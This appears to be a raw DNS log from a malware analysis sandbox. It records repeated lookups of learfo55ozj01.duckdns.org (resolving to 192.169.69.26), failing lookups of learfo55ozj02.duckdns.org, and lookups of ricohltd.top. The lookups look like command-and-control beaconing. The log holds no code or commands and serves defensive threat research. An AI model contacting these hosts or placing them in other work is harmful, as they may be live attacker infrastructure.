May 1, 2024 18:21:53.583726883 CEST	8.8.8.8	192.168.2.22	0xb3ae	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:53.694154978 CEST	8.8.8.8	192.168.2.22	0xb3ae	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:53.788830042 CEST	8.8.8.8	192.168.2.22	0xb3ae	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:53.883375883 CEST	8.8.8.8	192.168.2.22	0xb3ae	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:53.978255987 CEST	8.8.8.8	192.168.2.22	0xb3ae	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:55.659858942 CEST	8.8.8.8	192.168.2.22	0x7d0e	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:55.773397923 CEST	8.8.8.8	192.168.2.22	0x7d0e	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:55.868273973 CEST	8.8.8.8	192.168.2.22	0x7d0e	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:55.963732958 CEST	8.8.8.8	192.168.2.22	0x7d0e	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:21:56.058453083 CEST	8.8.8.8	192.168.2.22	0x7d0e	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:00.129159927 CEST	8.8.8.8	192.168.2.22	0x736b	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:00.223520994 CEST	8.8.8.8	192.168.2.22	0x736b	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:00.318231106 CEST	8.8.8.8	192.168.2.22	0x736b	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:00.412965059 CEST	8.8.8.8	192.168.2.22	0x736b	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:00.507369041 CEST	8.8.8.8	192.168.2.22	0x736b	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:01.206665993 CEST	8.8.8.8	192.168.2.22	0x2d06	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:01.301999092 CEST	8.8.8.8	192.168.2.22	0x2d06	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:01.400314093 CEST	8.8.8.8	192.168.2.22	0x2d06	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:01.518507004 CEST	8.8.8.8	192.168.2.22	0x2d06	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:02.678601027 CEST	8.8.8.8	192.168.2.22	0x6ec5	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:02.778820992 CEST	8.8.8.8	192.168.2.22	0x6ec5	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:02.874051094 CEST	8.8.8.8	192.168.2.22	0x6ec5	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:02.969626904 CEST	8.8.8.8	192.168.2.22	0x6ec5	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:07.701328993 CEST	8.8.8.8	192.168.2.22	0x8feb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:07.797184944 CEST	8.8.8.8	192.168.2.22	0x8feb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:07.894224882 CEST	8.8.8.8	192.168.2.22	0x8feb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:07.989653111 CEST	8.8.8.8	192.168.2.22	0x8feb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:08.088238955 CEST	8.8.8.8	192.168.2.22	0x8feb	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:08.284466028 CEST	8.8.8.8	192.168.2.22	0xb346	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:08.379765987 CEST	8.8.8.8	192.168.2.22	0xb346	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:08.474997997 CEST	8.8.8.8	192.168.2.22	0xb346	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:08.570108891 CEST	8.8.8.8	192.168.2.22	0xb346	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:08.664791107 CEST	8.8.8.8	192.168.2.22	0xb346	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.061156988 CEST	8.8.8.8	192.168.2.22	0x2679	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.157847881 CEST	8.8.8.8	192.168.2.22	0x2679	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.257924080 CEST	8.8.8.8	192.168.2.22	0x2679	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.352734089 CEST	8.8.8.8	192.168.2.22	0x2679	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.447464943 CEST	8.8.8.8	192.168.2.22	0x2679	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.552036047 CEST	8.8.8.8	192.168.2.22	0x6989	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.646538973 CEST	8.8.8.8	192.168.2.22	0x6989	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.740927935 CEST	8.8.8.8	192.168.2.22	0x6989	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.837960005 CEST	8.8.8.8	192.168.2.22	0x6989	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:10.933314085 CEST	8.8.8.8	192.168.2.22	0x6989	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:12.589507103 CEST	8.8.8.8	192.168.2.22	0x792d	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:12.685379982 CEST	8.8.8.8	192.168.2.22	0x792d	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:12.782250881 CEST	8.8.8.8	192.168.2.22	0x792d	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:12.879131079 CEST	8.8.8.8	192.168.2.22	0x792d	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:12.973751068 CEST	8.8.8.8	192.168.2.22	0x792d	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:14.743668079 CEST	8.8.8.8	192.168.2.22	0x978c	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:14.839384079 CEST	8.8.8.8	192.168.2.22	0x978c	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:14.934063911 CEST	8.8.8.8	192.168.2.22	0x978c	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:15.029266119 CEST	8.8.8.8	192.168.2.22	0x978c	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:15.124630928 CEST	8.8.8.8	192.168.2.22	0x978c	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:16.920522928 CEST	8.8.8.8	192.168.2.22	0xf66a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:17.015925884 CEST	8.8.8.8	192.168.2.22	0xf66a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:17.110743999 CEST	8.8.8.8	192.168.2.22	0xf66a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:17.206120968 CEST	8.8.8.8	192.168.2.22	0xf66a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:17.302052975 CEST	8.8.8.8	192.168.2.22	0xf66a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:18.605813980 CEST	8.8.8.8	192.168.2.22	0x7a40	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:18.700501919 CEST	8.8.8.8	192.168.2.22	0x7a40	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:18.795279980 CEST	8.8.8.8	192.168.2.22	0x7a40	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:18.890043974 CEST	8.8.8.8	192.168.2.22	0x7a40	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:18.985095024 CEST	8.8.8.8	192.168.2.22	0x7a40	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.044990063 CEST	8.8.8.8	192.168.2.22	0x6678	No error (0)	ricohltd.top		172.67.191.112	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.044990063 CEST	8.8.8.8	192.168.2.22	0x6678	No error (0)	ricohltd.top		104.21.60.38	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.294292927 CEST	8.8.8.8	192.168.2.22	0xc1e0	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.389421940 CEST	8.8.8.8	192.168.2.22	0xc1e0	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.484117031 CEST	8.8.8.8	192.168.2.22	0xc1e0	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.578427076 CEST	8.8.8.8	192.168.2.22	0xc1e0	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.672807932 CEST	8.8.8.8	192.168.2.22	0xc1e0	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.886296988 CEST	8.8.8.8	192.168.2.22	0x6f88	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:20.981192112 CEST	8.8.8.8	192.168.2.22	0x6f88	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:21.075824022 CEST	8.8.8.8	192.168.2.22	0x6f88	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:21.170401096 CEST	8.8.8.8	192.168.2.22	0x6f88	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:21.265077114 CEST	8.8.8.8	192.168.2.22	0x6f88	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.499444008 CEST	8.8.8.8	192.168.2.22	0xc9e8	No error (0)	ricohltd.top		104.21.60.38	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.499444008 CEST	8.8.8.8	192.168.2.22	0xc9e8	No error (0)	ricohltd.top		172.67.191.112	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.527362108 CEST	8.8.8.8	192.168.2.22	0x123a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.625325918 CEST	8.8.8.8	192.168.2.22	0x123a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.721467972 CEST	8.8.8.8	192.168.2.22	0x123a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.819119930 CEST	8.8.8.8	192.168.2.22	0x123a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:27.913990974 CEST	8.8.8.8	192.168.2.22	0x123a	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:28.120121956 CEST	8.8.8.8	192.168.2.22	0xdfcf	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:28.230268002 CEST	8.8.8.8	192.168.2.22	0xdfcf	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:28.329272032 CEST	8.8.8.8	192.168.2.22	0xdfcf	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:28.428236961 CEST	8.8.8.8	192.168.2.22	0xdfcf	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:28.591701984 CEST	8.8.8.8	192.168.2.22	0xdfcf	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:29.516906023 CEST	8.8.8.8	192.168.2.22	0x980c	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:29.611677885 CEST	8.8.8.8	192.168.2.22	0x980c	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:29.706701994 CEST	8.8.8.8	192.168.2.22	0x980c	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:29.801151037 CEST	8.8.8.8	192.168.2.22	0x980c	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:30.006325960 CEST	8.8.8.8	192.168.2.22	0x980c	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:34.600285053 CEST	8.8.8.8	192.168.2.22	0x9d71	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:34.695225954 CEST	8.8.8.8	192.168.2.22	0x9d71	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:34.789722919 CEST	8.8.8.8	192.168.2.22	0x9d71	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:34.886692047 CEST	8.8.8.8	192.168.2.22	0x9d71	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:34.983556986 CEST	8.8.8.8	192.168.2.22	0x9d71	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:35.097126007 CEST	8.8.8.8	192.168.2.22	0x56e7	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:35.192363977 CEST	8.8.8.8	192.168.2.22	0x56e7	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:35.291147947 CEST	8.8.8.8	192.168.2.22	0x56e7	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:35.387228966 CEST	8.8.8.8	192.168.2.22	0x56e7	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:35.483145952 CEST	8.8.8.8	192.168.2.22	0x56e7	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:36.803980112 CEST	8.8.8.8	192.168.2.22	0xf573	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:36.898495913 CEST	8.8.8.8	192.168.2.22	0xf573	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:36.996854067 CEST	8.8.8.8	192.168.2.22	0xf573	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.091813087 CEST	8.8.8.8	192.168.2.22	0xf573	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.187414885 CEST	8.8.8.8	192.168.2.22	0xf573	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.290445089 CEST	8.8.8.8	192.168.2.22	0x4950	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.388025045 CEST	8.8.8.8	192.168.2.22	0x4950	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.486912966 CEST	8.8.8.8	192.168.2.22	0x4950	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.582844973 CEST	8.8.8.8	192.168.2.22	0x4950	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:37.678781033 CEST	8.8.8.8	192.168.2.22	0x4950	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:38.915643930 CEST	8.8.8.8	192.168.2.22	0x9875	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.011465073 CEST	8.8.8.8	192.168.2.22	0x9875	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.106447935 CEST	8.8.8.8	192.168.2.22	0x9875	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.200860977 CEST	8.8.8.8	192.168.2.22	0x9875	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.295669079 CEST	8.8.8.8	192.168.2.22	0x9875	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.410255909 CEST	8.8.8.8	192.168.2.22	0x6810	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.505004883 CEST	8.8.8.8	192.168.2.22	0x6810	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.599780083 CEST	8.8.8.8	192.168.2.22	0x6810	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.694116116 CEST	8.8.8.8	192.168.2.22	0x6810	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:39.788772106 CEST	8.8.8.8	192.168.2.22	0x6810	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:40.226686954 CEST	8.8.8.8	192.168.2.22	0x769a	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:40.321182966 CEST	8.8.8.8	192.168.2.22	0x769a	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:40.416328907 CEST	8.8.8.8	192.168.2.22	0x769a	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:40.511493921 CEST	8.8.8.8	192.168.2.22	0x769a	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:40.605897903 CEST	8.8.8.8	192.168.2.22	0x769a	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:41.749278069 CEST	8.8.8.8	192.168.2.22	0x2b75	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:41.845454931 CEST	8.8.8.8	192.168.2.22	0x2b75	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:41.941804886 CEST	8.8.8.8	192.168.2.22	0x2b75	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.037432909 CEST	8.8.8.8	192.168.2.22	0x2b75	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.132721901 CEST	8.8.8.8	192.168.2.22	0x2b75	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.402503014 CEST	8.8.8.8	192.168.2.22	0x4611	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.497694016 CEST	8.8.8.8	192.168.2.22	0x4611	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.592390060 CEST	8.8.8.8	192.168.2.22	0x4611	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.687483072 CEST	8.8.8.8	192.168.2.22	0x4611	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:42.782213926 CEST	8.8.8.8	192.168.2.22	0x4611	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:43.052886963 CEST	8.8.8.8	192.168.2.22	0x3d6b	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:43.147329092 CEST	8.8.8.8	192.168.2.22	0x3d6b	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:43.241799116 CEST	8.8.8.8	192.168.2.22	0x3d6b	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:43.336113930 CEST	8.8.8.8	192.168.2.22	0x3d6b	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:43.430495024 CEST	8.8.8.8	192.168.2.22	0x3d6b	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:44.575793982 CEST	8.8.8.8	192.168.2.22	0x502c	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:44.670814037 CEST	8.8.8.8	192.168.2.22	0x502c	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:44.765389919 CEST	8.8.8.8	192.168.2.22	0x502c	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:44.864962101 CEST	8.8.8.8	192.168.2.22	0x502c	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:44.959405899 CEST	8.8.8.8	192.168.2.22	0x502c	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.408247948 CEST	8.8.8.8	192.168.2.22	0x34f3	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.503927946 CEST	8.8.8.8	192.168.2.22	0x34f3	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.601465940 CEST	8.8.8.8	192.168.2.22	0x34f3	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.697170973 CEST	8.8.8.8	192.168.2.22	0x34f3	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.796214104 CEST	8.8.8.8	192.168.2.22	0x34f3	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:46.940078974 CEST	8.8.8.8	192.168.2.22	0xf27f	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.034826994 CEST	8.8.8.8	192.168.2.22	0xf27f	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.129460096 CEST	8.8.8.8	192.168.2.22	0xf27f	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.228118896 CEST	8.8.8.8	192.168.2.22	0xf27f	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.323602915 CEST	8.8.8.8	192.168.2.22	0xf27f	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.445822001 CEST	8.8.8.8	192.168.2.22	0xae8a	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.543581009 CEST	8.8.8.8	192.168.2.22	0xae8a	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.648475885 CEST	8.8.8.8	192.168.2.22	0xae8a	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.743983030 CEST	8.8.8.8	192.168.2.22	0xae8a	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:47.839170933 CEST	8.8.8.8	192.168.2.22	0xae8a	Name error (3)	learfo55ozj02.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:48.956727982 CEST	8.8.8.8	192.168.2.22	0x73fa	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.051152945 CEST	8.8.8.8	192.168.2.22	0x73fa	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
May 1, 2024 18:22:49.145638943 CEST	8.8.8.8	192.168.2.22	0x73fa	No error (0)	learfo55ozj01.duckdns.org		192.169.69.26	A (IP address)	IN (0x0001)	false
